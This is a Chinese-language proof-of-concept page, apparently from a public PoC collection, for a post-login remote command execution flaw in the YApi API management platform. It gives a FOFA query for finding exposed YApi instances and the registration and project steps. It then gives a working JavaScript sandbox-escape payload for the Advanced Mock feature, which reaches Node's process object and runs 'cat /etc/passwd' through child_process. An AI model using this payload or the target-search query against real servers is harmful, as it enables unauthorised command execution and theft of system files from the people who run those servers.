Awesome-POC/Web应用漏洞/YApi 接口管理平台 后台命令执行漏洞.md

66 lines
1.3 KiB
Markdown
Raw Normal View History

2022-05-17 17:43:20 +08:00
# YApi 接口管理平台 后台命令执行漏洞
## 漏洞描述
YApi 接口管理平台 后台存在命令执行漏洞,攻击者通过发送特定的请求可执行任意命令获取服务器权限
## 漏洞影响
```
YApi 接口管理平台
```
## FOFA
```
app="YApi"
```
## 漏洞复现
登录页面
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091829002.png)
首先需要注册账户并登录
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091829520.png)
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091829602.png)
添加项目,参数任意
创建后点击 高级Mock 输入如下Payload
```javascript
const sandbox = this; // 获取Context
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const myfun = FunctionConstructor('return process'); // 构造一个函数返回process全局变量
const process = myfun();
mockJson = process.mainModule.require("child_process").execSync("cat /etc/passwd").toString()
```
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091830184.png)
预览处点击项目链接
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091830086.png)